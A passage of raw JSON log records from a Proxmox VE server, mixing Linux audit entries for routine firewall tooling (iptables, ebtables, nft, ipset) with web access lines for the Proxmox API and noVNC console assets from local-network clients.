a1=64dc21e7c1c0 a2=64dc21e5a680 a3=5 items=1 ppid=57078 pid=57079 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965875238,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965875.238:67483): table=filter family=7 entries=4 op=xt_replace pid=64810 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/disconnect.svg HTTP/1.1\" 200 1927"} {"@timestamp":1781966331215,"@rawstring":"node=pve type=EXECVE msg=audit(1781966331.215:69331): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964724615,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965664729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964285737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.737:60384): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966220839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966220.839:68963): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966321324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.324:69300): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72538c0 a1=637ee7254330 a2=637ee7240ef0 a3=8 items=2 ppid=66521 pid=66522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675286,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.286:62119): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964062798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.798:59422): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965866080,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965866.080:67441): table=filter family=7 entries=4 op=xt_replace pid=64771 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/warning.svg HTTP/1.1\" 200 1569"} {"@timestamp":1781966331210,"@rawstring":"node=pve type=EXECVE msg=audit(1781966331.210:69328): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964724615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965663707,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964285731,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.731:60383): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.939:68959): arch=c000003e syscall=59 success=no exit=-2 a0=7fff9dbe10e0 a1=60bd2ae6d310 a2=60bd2ae66680 a3=5 items=1 ppid=66220 pid=66221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966321322,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.322:69299): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253660 a1=637ee7256570 a2=637ee7257280 a3=8 items=2 ppid=846 pid=66520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675285,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.285:62118): argc=1 a0=\"date\""} {"@timestamp":1781964062798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.798:59421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965855920,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965855.920:67399): table=filter family=7 entries=4 op=xt_replace pid=64730 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/esc.svg HTTP/1.1\" 200 1820"} {"@timestamp":1781966326203,"@rawstring":"node=pve type=EXECVE msg=audit(1781966326.203:69325): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964723617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965663707,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964285724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.724:60382): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215840,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.840:68941): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe3c021e30 a1=642ce9a4a310 a2=642ce9a43680 a3=5 items=1 ppid=66201 pid=66202 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966321187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.187:69298): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675281,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.281:62116): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964062790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.790:59419): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965845744,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965845.744:67356): table=filter family=7 entries=4 op=xt_replace pid=64690 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/windows.svg HTTP/1.1\" 200 1081"} {"@timestamp":1781966326197,"@rawstring":"node=pve type=EXECVE msg=audit(1781966326.197:69322): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964722200,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965661925,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964285716,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.716:60381): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.833:68938): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966321178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966321.178:69295): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675276,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.276:62115): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964062790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964062.790:59418): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965835542,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965835.542:67311): table=filter family=7 entries=4 op=xt_replace pid=64645 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/settings.svg HTTP/1.1\" 200 1208"} {"@timestamp":1781966325972,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.972:69318): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964722200,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965661925,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1108"} {"@timestamp":1781964285713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.713:60380): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=6036b7b9a740 items=0 ppid=1156 pid=57976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966215833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.833:68937): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66200 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966316171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.171:69292): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675270,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.270:62114): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964057783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.783:59416): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965825386,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965825.386:67268): table=filter family=7 entries=4 op=xt_replace pid=64604 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/power.svg HTTP/1.1\" 200 1579"} {"@timestamp":1781966325968,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.968:69317): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964720721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965660706,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964285710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.710:60379): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0eccb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.828:68934): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966316163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966316.163:69289): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675264,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.264:62113): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964057783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.783:59415): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965815223,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965815.223:67226): table=filter family=7 entries=4 op=xt_replace pid=64565 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/tab.svg HTTP/1.1\" 200 1095"} {"@timestamp":1781966325966,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.966:69316): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964720721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 847"} {"@timestamp":1781965660706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964285704,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.704:60378): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966215.827:68933): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66199 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966315896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.896:69286): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=64b4315ffe60 items=0 ppid=1156 pid=66515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964675257,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.257:62112): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964057771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.771:59413): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965806056,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965806.056:67184): table=filter family=7 entries=4 op=xt_replace pid=64526 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/styles/Orbitron700.woff HTTP/1.1\" 200 17472"} {"@timestamp":1781966325965,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.965:69315): argc=1 a0=\"date\""} {"@timestamp":1781964719182,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965660706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964285699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.699:60377): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.818:68925): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966315894,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.894:69285): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675252,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.252:62110): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964057771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964057.771:59412): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57063 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965795888,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965795.888:67142): table=filter family=7 entries=4 op=xt_replace pid=64485 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/clipboard.svg HTTP/1.1\" 200 1243"} {"@timestamp":1781966325960,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.960:69313): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964719182,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781965660706,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964285694,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.694:60376): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210818,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.818:68924): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66189 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675249,"@rawstring":"node=pve type=EXECVE msg=audit(1781964675.249:62109): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966315890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966315.890:69284): arch=c000003e syscall=59 success=yes exit=0 a0=6028a55840a0 a1=6028a5580e20 a2=6028a5562680 a3=5 items=2 ppid=66508 pid=66514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964055536,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964055.536:59408): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe4aa4f6f0 a1=5f28e0089310 a2=5f28e0082680 a3=5 items=1 ppid=57056 pid=57057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785718,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965785.718:67099): table=filter family=7 entries=4 op=xt_replace pid=64445 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965083648,"@rawstring":"::ffff:192.168.1.192 - - [20/06/2026:15:18:03 +0100] \"GET /novnc/app/images/keyboard.svg HTTP/1.1\" 200 2294"} {"@timestamp":1781966325955,"@rawstring":"node=pve type=EXECVE msg=audit(1781966325.955:69312): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964719182,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965658778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964285688,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.688:60375): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148d20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966210809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966210.809:68922): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 